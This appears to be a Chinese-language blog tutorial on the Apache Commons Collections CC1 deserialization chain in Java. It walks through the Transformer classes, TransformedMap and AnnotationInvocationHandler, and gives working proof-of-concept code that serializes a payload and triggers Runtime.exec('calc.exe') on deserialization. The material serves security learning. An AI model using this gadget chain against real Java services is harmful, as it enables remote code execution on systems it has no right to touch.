写在前面
Java Commons Collections的利用链也被称为cc链,是在学习反序列化漏洞必不可少的一个部分。希望能由简到繁来一起了解学习下它的利用。
前置知识(序列化/反序列化)
核心也就是:
writeObject
方法,即序列化类对象。
readObject
方法,即反序列化类对象。
注意:
- 反序列化类对象是不会调用该类构造方法
- serialVersionUID(根据这个版本号来判断序列化对象的发送者和接收着是否有与该序列化/反序列化过程兼容的类)
反序列化漏洞主要原因在于readObject方法中,因为我们可以自定义该方法,在反序列化时会自动调用该方法,从而可能造成意想不到的效果。
更多基础知识:java序列化/反序列化 学习笔记
Transformer
Transformer
是一个接口类,提供了一个对象转换方法transform
:
public interface Transformer {
public Object transform(Object input);
}
该接口的重要实现类有:ConstantTransformer
、invokerTransformer
、ChainedTransformer
、TransformedMap
。
ConstantTransformer
该类的关键代码如下:
package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
public class ConstantTransformer implements Transformer, Serializable {
/** 省略 **/
/** The closures to call in turn **/
private final Object iConstant;
/** 省略 **/
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
/** 省略 **/
}
可以看出传入对象不会经过任何改变直接返回。
eg:
package cc1;
import org.apache.commons.collections.functors.ConstantTransformer;
public class ConstantTranTest {
public static void main(String[] args) {
Object obj = Runtime.class;
ConstantTransformer transformer = new ConstantTransformer(obj);
System.out.println(transformer.transform(null));
}
}
//结果为class java.lang.Runtime
InvokerTransformer
InvokerTransformer
类transform
方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。
该类的关键代码如下:
public class InvokerTransformer implements Transformer, Serializable {
/** 要调用的方法名称 */
private final String iMethodName;
/** 反射参数类型数组 */
private final Class[] iParamTypes;
/** 反射参数值数组 */
private final Object[] iArgs;
// 省去多余的方法和变量
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 获取输入类的类对象
Class cls = input.getClass();
// 通过输入的方法名和方法参数,获取指定的反射方法对象
Method method = cls.getMethod(iMethodName, iParamTypes);
// 反射调用指定的方法并返回方法调用结果
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 省去异常处理部分代码
}
}
}
eg:
package cc1;
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokeTranTest {
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc.exe";
// 构建transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);
// 传入Runtime实例,执行对象转换操作
transformer.transform(Runtime.getRuntime());
}
}
ChainedTransformer
真实的漏洞利用场景我们是没法在调用
transformer.transform
的时候直接传入Runtime.getRuntime()
对象的,因此我们需要学习如何通过ChainedTransformer
来创建攻击链。其封装了Transformer
的链式调用,我们只需要传入一个Transformer
数组,ChainedTransformer
就会依次调用每一个Transformer
的transform
方法。
该类的关键代码如下:
public class ChainedTransformer implements Transformer, Serializable {
/** The transformers to call in turn */
private final Transformer[] iTransformers;
// 省去多余的方法和变量
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}//输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推,对于理解下面的例子还是十分有帮助的
return object;
}
}
eg:
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainTranTest {
public static void main(String[] args) throws Exception {
// 定义需要执行的本地系统命令
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//得到Runtime.class并传入下个
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
//得到getRuntime并传入下个
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
//得到runtime
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
}; //命令执行
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执行对象转换操作
Object transform = transformedChain.transform(null);
System.out.println(transform);
}
}
以下为上述过程的debug流程图:
最终这里执行
TransformedMap
我们还需要思考剩下两个问题:
- 如何传入恶意的
ChainedTransformer
; - 如何调用
transform
方法执行本地命令;
org.apache.commons.collections.map.TransformedMap
类间接的实现了java.util.Map
接口,同时支持对Map
的key
或者value
进行Transformer
转换,调用decorate
和decorateTransform
方法就可以创建一个TransformedMap
:
关键代码如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。
我们可以把chainedtransformer
绑定到一个TransformedMap
上,当此map的key或value发生改变时(调用TransformedMap
的setValue/put/putAll
中的任意方法),就会自动触发chainedtransformer
。
eg:
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Maptest {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("key", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// transformedMap.put("v1", "v2");// 执行put也会触发transform
// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}
System.out.println(transformedMap);
}
}//即可成功弹计算器
反序列化RCE条件:
- 实现了
java.io.Serializable
接口;- 并且可以传入我们构建的
TransformedMap
对象;- 调用了
TransformedMap
中的setValue/put/putAll
中的任意方法一个方法的类;
AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler
类实现了java.lang.reflect.InvocationHandler
(Java动态代理
)接口和java.io.Serializable
接口,是用来处理注解的一个类。它还重写了readObject
方法,在readObject
方法中间接的调用了TransformedMap
中MapEntry
的setValue
方法,从而也就触发了transform
方法,完成了整个攻击链的调用。
readObject
方法:
上图中的第
352
行中的memberValues
是AnnotationInvocationHandler
的成员变量,memberValues
的值是在var1.defaultReadObject();
时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler
时传入的带有恶意攻击链的TransformedMap
。需要注意的是如果我们想要进入到var5.setValue
这个逻辑那么我们的序列化的map
中的key
必须包含创建AnnotationInvocationHandler
时传入的注解的方法名。
eg:
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
public class annotest {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();
// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();
// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 模拟远程的反序列化过程
in.readObject();
// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
//注意低版本jdk才能实现调用